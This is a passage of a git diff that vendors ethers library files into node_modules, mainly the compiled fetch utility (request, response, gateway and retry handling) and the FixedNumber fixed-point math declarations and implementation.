dataGatewayFunc, + "ipfs": getIpfsGatewayFunc("https:/\/gateway.ipfs.io/ipfs/") +}; +const fetchSignals = new WeakMap(); +/** + * @_ignore + */ +class FetchCancelSignal { + #listeners; + #cancelled; + constructor(request) { + this.#listeners = []; + this.#cancelled = false; + fetchSignals.set(request, () => { + if (this.#cancelled) { + return; + } + this.#cancelled = true; + for (const listener of this.#listeners) { + setTimeout(() => { listener(); }, 0); + } + this.#listeners = []; + }); + } + addListener(listener) { + (0, errors_js_1.assert)(!this.#cancelled, "singal already cancelled", "UNSUPPORTED_OPERATION", { + operation: "fetchCancelSignal.addCancelListener" + }); + this.#listeners.push(listener); + } + get cancelled() { return this.#cancelled; } + checkSignal() { + (0, errors_js_1.assert)(!this.cancelled, "cancelled", "CANCELLED", {}); + } +} +exports.FetchCancelSignal = FetchCancelSignal; +// Check the signal, throwing if it is cancelled +function checkSignal(signal) { + if (signal == null) { + throw new Error("missing signal; should not happen"); + } + signal.checkSignal(); + return signal; +} +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +class FetchRequest { + #allowInsecure; + #gzip; + #headers; + #method; + #timeout; + #url; + #body; + #bodyType; + #creds; + // Hooks + #preflight; + #process; + #retry; + #signal; + #throttle; + #getUrlFunc; + /** + * The fetch URL to request. + */ + get url() { return this.#url; } + set url(url) { + this.#url = String(url); + } + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body() { + if (this.#body == null) { + return null; + } + return new Uint8Array(this.#body); + } + set body(body) { + if (body == null) { + this.#body = undefined; + this.#bodyType = undefined; + } + else if (typeof (body) === "string") { + this.#body = (0, utf8_js_1.toUtf8Bytes)(body); + this.#bodyType = "text/plain"; + } + else if (body instanceof Uint8Array) { + this.#body = body; + this.#bodyType = "application/octet-stream"; + } + else if (typeof (body) === "object") { + this.#body = (0, utf8_js_1.toUtf8Bytes)(JSON.stringify(body)); + this.#bodyType = "application/json"; + } + else { + throw new Error("invalid body"); + } + } + /** + * Returns true if the request has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method() { + if (this.#method) { + return this.#method; + } + if (this.hasBody()) { + return "POST"; + } + return "GET"; + } + set method(method) { + if (method == null) { + method = ""; + } + this.#method = String(method).toUpperCase(); + } + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers() { + const headers = Object.assign({}, this.#headers); + if (this.#creds) { + headers["authorization"] = `Basic ${(0, base64_js_1.encodeBase64)((0, utf8_js_1.toUtf8Bytes)(this.#creds))}`; + } + ; + if (this.allowGzip) { + headers["accept-encoding"] = "gzip"; + } + if (headers["content-type"] == null && this.#bodyType) { + headers["content-type"] = this.#bodyType; + } + if (this.body) { + headers["content-length"] = String(this.body.length); + } + return headers; + } + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key, value) { + this.#headers[String(key).toLowerCase()] = String(value); + } + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders() { + this.#headers = {}; + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials() { + return this.#creds || null; + } + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username, password) { + (0, errors_js_1.assertArgument)(!username.match(/:/), "invalid basic authentication username", "username", "[REDACTED]"); + this.#creds = `${username}:${password}`; + } + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip() { + return this.#gzip; + } + set allowGzip(value) { + this.#gzip = !!value; + } + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication() { + return !!this.#allowInsecure; + } + set allowInsecureAuthentication(value) { + this.#allowInsecure = !!value; + } + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout() { return this.#timeout; } + set timeout(timeout) { + (0, errors_js_1.assertArgument)(timeout >= 0, "timeout must be non-zero", "timeout", timeout); + this.#timeout = timeout; + } + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc() { + return this.#preflight || null; + } + set preflightFunc(preflight) { + this.#preflight = preflight; + } + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc() { + return this.#process || null; + } + set processFunc(process) { + this.#process = process; + } + /** + * This function is called on each retry attempt. + */ + get retryFunc() { + return this.#retry || null; + } + set retryFunc(retry) { + this.#retry = retry; + } + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc() { + return this.#getUrlFunc || defaultGetUrlFunc; + } + set getUrlFunc(value) { + this.#getUrlFunc = value; + } + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url) { + this.#url = String(url); + this.#allowInsecure = false; + this.#gzip = true; + this.#headers = {}; + this.#method = ""; + this.#timeout = 300000; + this.#throttle = { + slotInterval: SLOT_INTERVAL, + maxAttempts: MAX_ATTEMPTS + }; + this.#getUrlFunc = null; + } + toString() { + return ``; + } + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params) { + if (params.slotInterval != null) { + this.#throttle.slotInterval = params.slotInterval; + } + if (params.maxAttempts != null) { + this.#throttle.maxAttempts = params.maxAttempts; + } + } + async #send(attempt, expires, delay, _request, _response) { + if (attempt >= this.#throttle.maxAttempts) { + return _response.makeServerError("exceeded maximum retry limit"); + } + (0, errors_js_1.assert)(getTime() <= expires, "timeout", "TIMEOUT", { + operation: "request.send", reason: "timeout", request: _request + }); + if (delay > 0) { + await wait(delay); + } + let req = this.clone(); + const scheme = (req.url.split(":")[0] || "").toLowerCase(); + // Process any Gateways + if (scheme in Gateways) { + const result = await Gateways[scheme](req.url, checkSignal(_request.#signal)); + if (result instanceof FetchResponse) { + let response = result; + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Ignore throttling + } + } + return response; + } + req = result; + } + // We have a preflight function; update the request + if (this.preflightFunc) { + req = await this.preflightFunc(req); + } + const resp = await this.getUrlFunc(req, checkSignal(_request.#signal)); + let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request); + if (response.statusCode === 301 || response.statusCode === 302) { + // Redirect + try { + const location = response.headers.location || ""; + return req.redirect(location).#send(attempt + 1, expires, 0, _request, response); + } + catch (error) { } + // Things won't get any better on another attempt; abort + return response; + } + else if (response.statusCode === 429) { + // Throttle + if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) { + const retryAfter = response.headers["retry-after"]; + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (typeof (retryAfter) === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { + delay = parseInt(retryAfter); + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Throttle + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + ; + if (error.stall >= 0) { + delay = error.stall; + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + return response; + } + /** + * Resolves to the response by sending the request. + */ + send() { + (0, errors_js_1.assert)(this.#signal == null, "request already sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.send" }); + this.#signal = new FetchCancelSignal(this); + return this.#send(0, getTime() + this.timeout, 0, this, new FetchResponse(0, "", {}, null, this)); + } + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel() { + (0, errors_js_1.assert)(this.#signal != null, "request has not been sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.cancel" }); + const signal = fetchSignals.get(this); + if (!signal) { + throw new Error("missing signal; should not happen"); + } + signal(); + } + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location) { + // Redirection; for now we only support absolute locations + const current = this.url.split(":")[0].toLowerCase(); + const target = location.split(":")[0].toLowerCase(); + // Don't allow redirecting: + // - non-GET requests + // - downgrading the security (e.g. https => http) + // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?] + (0, errors_js_1.assert)(this.method === "GET" && (current !== "https" || target !== "http") && location.match(/^https?:/), `unsupported redirect`, "UNSUPPORTED_OPERATION", { + operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})` + }); + // Create a copy of this request, with a new URL + const req = new FetchRequest(location); + req.method = "GET"; + req.allowGzip = this.allowGzip; + req.timeout = this.timeout; + req.#headers = Object.assign({}, this.#headers); + if (this.#body) { + req.#body = new Uint8Array(this.#body); + } + req.#bodyType = this.#bodyType; + // Do not forward credentials unless on the same domain; only absolute + //req.allowInsecure = false; + // paths are currently supported; may want a way to specify to forward? + //setStore(req.#props, "creds", getStore(this.#pros, "creds")); + return req; + } + /** + * Create a new copy of this request. + */ + clone() { + const clone = new FetchRequest(this.url); + // Preserve "default method" (i.e. null) + clone.#method = this.#method; + // Preserve "default body" with type, copying the Uint8Array is present + if (this.#body) { + clone.#body = this.#body; + } + clone.#bodyType = this.#bodyType; + // Preserve "default headers" + clone.#headers = Object.assign({}, this.#headers); + // Credentials is readonly, so we copy internally + clone.#creds = this.#creds; + if (this.allowGzip) { + clone.allowGzip = true; + } + clone.timeout = this.timeout; + if (this.allowInsecureAuthentication) { + clone.allowInsecureAuthentication = true; + } + clone.#preflight = this.#preflight; + clone.#process = this.#process; + clone.#retry = this.#retry; + clone.#throttle = Object.assign({}, this.#throttle); + clone.#getUrlFunc = this.#getUrlFunc; + return clone; + } + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig() { + locked = true; + } + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme) { + return Gateways[scheme.toLowerCase()] || null; + } + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme, func) { + scheme = scheme.toLowerCase(); + if (scheme === "http" || scheme === "https") { + throw new Error(`cannot intercept ${scheme}; use registerGetUrl`); + } + if (locked) { + throw new Error("gateways locked"); + } + Gateways[scheme] = func; + } + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl) { + if (locked) { + throw new Error("gateways locked"); + } + defaultGetUrlFunc = getUrl; + } + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options) { + return (0, geturl_js_1.createGetUrl)(options); + } + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway() { + return dataGatewayFunc; + } + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl) { + return getIpfsGatewayFunc(baseUrl); + } +} +exports.FetchRequest = FetchRequest; +; +/** + * The response for a FetchRequest. + */ +class FetchResponse { + #statusCode; + #statusMessage; + #headers; + #body; + #request; + #error; + toString() { + return ``; + } + /** + * The response status code. + */ + get statusCode() { return this.#statusCode; } + /** + * The response status message. + */ + get statusMessage() { return this.#statusMessage; } + /** + * The response headers. All keys are lower-case. + */ + get headers() { return Object.assign({}, this.#headers); } + /** + * The response body, or ``null`` if there was no body. + */ + get body() { + return (this.#body == null) ? null : new Uint8Array(this.#body); + } + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText() { + try { + return (this.#body == null) ? "" : (0, utf8_js_1.toUtf8String)(this.#body); + } + catch (error) { + (0, errors_js_1.assert)(false, "response body is not valid UTF-8 data", "UNSUPPORTED_OPERATION", { + operation: "bodyText", info: { response: this } + }); + } + } + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson() { + try { + return JSON.parse(this.bodyText); + } + catch (error) { + (0, errors_js_1.assert)(false, "response body is not valid JSON", "UNSUPPORTED_OPERATION", { + operation: "bodyJson", info: { response: this } + }); + } + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + constructor(statusCode, statusMessage, headers, body, request) { + this.#statusCode = statusCode; + this.#statusMessage = statusMessage; + this.#headers = Object.keys(headers).reduce((accum, k) => { + accum[k.toLowerCase()] = String(headers[k]); + return accum; + }, {}); + this.#body = ((body == null) ? null : new Uint8Array(body)); + this.#request = (request || null); + this.#error = { message: "" }; + } + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message, error) { + let statusMessage; + if (!message) { + message = `${this.statusCode} ${this.statusMessage}`; + statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`; + } + else { + statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`; + } + const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined); + response.#error = { message, error }; + return response; + } + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message, stall) { + if (stall == null) { + stall = -1; + } + else { + (0, errors_js_1.assertArgument)(Number.isInteger(stall) && stall >= 0, "invalid stall timeout", "stall", stall); + } + const error = new Error(message || "throttling requests"); + (0, properties_js_1.defineProperties)(error, { stall, throttle: true }); + throw error; + } + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Returns true if the response has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The request made for this response. + */ + get request() { return this.#request; } + /** + * Returns true if this response was a success statusCode. + */ + ok() { + return (this.#error.message === "" && this.statusCode >= 200 && this.statusCode < 300); + } + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk() { + if (this.ok()) { + return; + } + let { message, error } = this.#error; + if (message === "") { + message = `server response ${this.statusCode} ${this.statusMessage}`; + } + let requestUrl = null; + if (this.request) { + requestUrl = this.request.url; + } + let responseBody = null; + try { + if (this.#body) { + responseBody = (0, utf8_js_1.toUtf8String)(this.#body); + } + } + catch (e) { } + (0, errors_js_1.assert)(false, message, "SERVER_ERROR", { + request: (this.request || "unknown request"), response: this, error, + info: { + requestUrl, responseBody, + responseStatus: `${this.statusCode} ${this.statusMessage}` + } + }); + } +} +exports.FetchResponse = FetchResponse; +function getTime() { return (new Date()).getTime(); } +function unpercent(value) { + return (0, utf8_js_1.toUtf8Bytes)(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => { + return String.fromCharCode(parseInt(code, 16)); + })); +} +function wait(delay) { + return new Promise((resolve) => setTimeout(resolve, delay)); +} +//# sourceMappingURL=fetch.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fetch.js.map b/node_modules/ethers/lib.commonjs/utils/fetch.js.map new file mode 100644 index 000000000000..eaf870616b7a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fetch.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fetch.js","sourceRoot":"","sources":["../../src.ts/utils/fetch.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,2CAA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CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,CAAC;AAChE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts b/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts new file mode 100644 index 000000000000..20c8b8374b51 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts @@ -0,0 +1,252 @@ +import type { BigNumberish, BytesLike, Numeric } from "./index.js"; +/** + * A description of a fixed-point arithmetic field. + * + * When specifying the fixed format, the values override the default of + * a ``fixed128x18``, which implies a signed 128-bit value with 18 + * decimals of precision. + * + * The alias ``fixed`` and ``ufixed`` can be used for ``fixed128x18`` and + * ``ufixed128x18`` respectively. + * + * When a fixed format string begins with a ``u``, it indicates the field + * is unsigned, so any negative values will overflow. The first number + * indicates the bit-width and the second number indicates the decimal + * precision. + * + * When a ``number`` is used for a fixed format, it indicates the number + * of decimal places, and the default width and signed-ness will be used. + * + * The bit-width must be byte aligned and the decimals can be at most 80. + */ +export type FixedFormat = number | string | { + signed?: boolean; + width?: number; + decimals?: number; +}; +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +export declare class FixedNumber { + #private; + /** + * The specific fixed-point arithmetic field for this value. + */ + readonly format: string; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + readonly _value: string; + /** + * @private + */ + constructor(guard: any, value: bigint, format: any); + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed(): boolean; + /** + * The number of bits available to store the value. + */ + get width(): number; + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals(): number; + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value(): bigint; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other: FixedNumber): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other: FixedNumber): FixedNumber; + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other: FixedNumber): number; + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other: FixedNumber): boolean; + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other: FixedNumber): boolean; + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor(): FixedNumber; + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling(): FixedNumber; + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals?: number): FixedNumber; + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero(): boolean; + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative(): boolean; + /** + * Returns the string representation of %%this%%. + */ + toString(): string; + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat(): number; + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value: BigNumberish, _decimals?: Numeric, _format?: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value: string, _format?: FixedFormat): FixedNumber; + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value: BytesLike, _format?: FixedFormat): FixedNumber; +} +//# sourceMappingURL=fixednumber.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts.map b/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts.map new file mode 100644 index 000000000000..b34cc64f0060 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fixednumber.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fixednumber.d.ts","sourceRoot":"","sources":["../../src.ts/utils/fixednumber.ts"],"names":[],"mappings":"AAiBA,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AA2CnE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,MAAM,GAAG;IACxC,MAAM,CAAC,EAAE,OAAO,CAAC;IACjB,KAAK,CAAC,EAAE,MAAM,CAAC;IACf,QAAQ,CAAC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AAE,CAAC,KAAK,EAAE,WAAW,GAAG,OAAO;IAEhC;;OAEG;IACF,EAAE,CAAC,KAAK,EAAE,WAAW,GAAG,OAAO;IAEhC;;OAEG;IACF,GAAG,CAAC,KAAK,EAAE,WAAW,GAAG,OAAO;IAEjC;;OAEG;IACF,EAAE,CAAC,KAAK,EAAE,WAAW,GAAG,OAAO;IAEhC;;OAEG;IACF,GAAG,CAAC,KAAK,EAAE,WAAW,GAAG,OAAO;IAEjC;;;;;OAKG;IACH,KAAK,IAAI,WAAW;IAOpB;;;;;OAKG;IACH,OAAO,IAAI,WAAW;IAOtB;;;OAGG;IACH,KAAK,CAAC,QAAQ,CAAC,EAAE,MAAM,GAAG,WAAW;IAkBrC;;OAEG;IACH,MAAM,IAAI,OAAO;IAEjB;;OAEG;IACH,UAAU,IAAI,OAAO;IAErB;;OAEG;IACH,QAAQ,IAAI,MAAM;IAElB;;;;;;OAMG;IACH,aAAa,IAAI,MAAM;IAEvB;;;;;OAKG;IACH,QAAQ,CAAC,MAAM,EAAE,WAAW,GAAG,WAAW;IAI1C;;;;;;;OAOG;IACH,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,YAAY,EAAE,SAAS,CAAC,EAAE,OAAO,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;IAqB/F;;;;;OAKG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;IA0BrE;;;;;;OAMG;IACH,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,WAAW,GAAG,WAAW;CAU1E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fixednumber.js b/node_modules/ethers/lib.commonjs/utils/fixednumber.js new file mode 100644 index 000000000000..6f5979474e4b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fixednumber.js @@ -0,0 +1,530 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FixedNumber = void 0; +/** + * The **FixedNumber** class permits using values with decimal places, + * using fixed-pont math. + * + * Fixed-point math is still based on integers under-the-hood, but uses an + * internal offset to store fractional components below, and each operation + * corrects for this after each operation. + * + * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math] + */ +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +const maths_js_1 = require("./maths.js"); +const properties_js_1 = require("./properties.js"); +const BN_N1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_5 = BigInt(5); +const _guard = {}; +// Constant to pull zeros from for multipliers +let Zeros = "0000"; +while (Zeros.length < 80) { + Zeros += Zeros; +} +// Returns a string "1" followed by decimal "0"s +function getTens(decimals) { + let result = Zeros; + while (result.length < decimals) { + result += result; + } + return BigInt("1" + result.substring(0, decimals)); +} +function checkValue(val, format, safeOp) { + const width = BigInt(format.width); + if (format.signed) { + const limit = (BN_1 << (width - BN_1)); + (0, errors_js_1.assert)(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + if (val > BN_0) { + val = (0, maths_js_1.fromTwos)((0, maths_js_1.mask)(val, width), width); + } + else { + val = -(0, maths_js_1.fromTwos)((0, maths_js_1.mask)(-val, width), width); + } + } + else { + const limit = (BN_1 << width); + (0, errors_js_1.assert)(safeOp == null || (val >= 0 && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: 